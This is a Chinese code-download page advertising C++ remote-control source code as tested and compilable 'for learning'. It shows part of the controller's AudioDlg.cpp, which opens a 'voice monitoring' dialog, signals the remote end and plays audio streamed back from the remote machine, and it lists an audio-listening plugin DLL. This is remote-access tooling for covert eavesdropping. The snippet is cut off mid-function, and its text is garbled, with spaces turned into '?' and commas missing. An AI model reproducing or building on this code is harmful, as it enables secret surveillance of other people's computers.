資源簡介
c++遠控源碼,親測可用可編譯,適合學習,切勿違法使用
代碼片段和文件信息
//?AudioDlg.cpp?:?implementation?file
//
#include?“stdafx.h“
#include?“Client.h“
#include?“AudioDlg.h“
#ifdef?_DEBUG
#define?new?DEBUG_NEW
#undef?THIS_FILE
static?char?THIS_FILE[]?=?__FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
//?CAudioDlg?dialog
CAudioDlg::CAudioDlg(CWnd*?pParent?CIOCPServer*?pIOCPServer?ClientContext?*pContext)
:?CDialog(CAudioDlg::IDD?pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio?=?FALSE;
//}}AFX_DATA_INIT
m_hIcon =?LoadIcon(AfxGetInstanceHandle()?MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer =?pIOCPServer;
m_pContext =?pContext;
m_bIsWorking =?true;
m_nTotalRecvBytes?=?0;
sockaddr_in??sockAddr;
memset(&sockAddr?0?sizeof(sockAddr));
int?nSockAddrLen?=?sizeof(sockAddr);
BOOL?bResult?=?getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr?&nSockAddrLen);
m_IPAddress?=?bResult?!=?INVALID_SOCKET???inet_ntoa(sockAddr.sin_addr)?:?““;
}
void?CAudioDlg::DoDataExchange(CDataExchange*?pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX?IDC_SEND_LOCALAUDIO?m_send_localaudio);
DDX_Check(pDX?IDC_SEND_LOCALAUDIO?m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAudioDlg?CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO?OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//?CAudioDlg?message?handlers
BOOL?CAudioDlg::OnInitDialog()?
{
CDialog::OnInitDialog();
//?TODO:?Add?extra?initialization?here
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
//??when?the?application‘s?main?window?is?not?a?dialog
SetIcon(m_hIcon?TRUE); //?Set?big?icon
SetIcon(m_hIcon?FALSE); //?Set?small?icon
CString?str;
str.Format(_T(“\\\\%s?-?語音監聽“)?m_IPAddress);
SetWindowText(str);
//?通知遠程控制端對話框已經打開
BYTE?bToken?=?COMMAND_NEXT;
m_iocpServer->Send(m_pContext?&bToken?sizeof(BYTE));
m_hWorkThread?=?CreateThread(NULL?0?(LPTHREAD_START_ROUTINE)WorkThread?(LPVOID)this?0?NULL);
m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);
return?true;
}
void?CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes?+=?m_pContext->m_DeCompressionBuffer.GetBufferLen()?-?1;
CString str;
? str.Format(_T(“Receive?%d?KBytes“)?m_nTotalRecvBytes?/?1024);
SetDlgItemText(IDC_TIPS?str);
switch?(m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case?TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1)?m_pContext->m_DeCompressionBuffer.GetBufferLen()?-?1);
break;
default:
//?傳輸發生異常數據
return;
}
}
void?CAudioDlg::OnReceive()
{
}
void?CAudioDlg::OnClose()?
{
//?TODO:?Add?your?message?handler?code?here?and/or?call?default
//?TODO:?Add?your?message?handler?code?here?and/or?call?defaul
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件??????65536??2013-07-30?20:52??Plugins\BAudioListen.dll
-----------?---------??----------?-----??----
????????????????65536????????????????????1
- 上一篇:數據結構王紅梅
- 下一篇:MFC實現rtsp視頻流的播放
評論
共有 條評論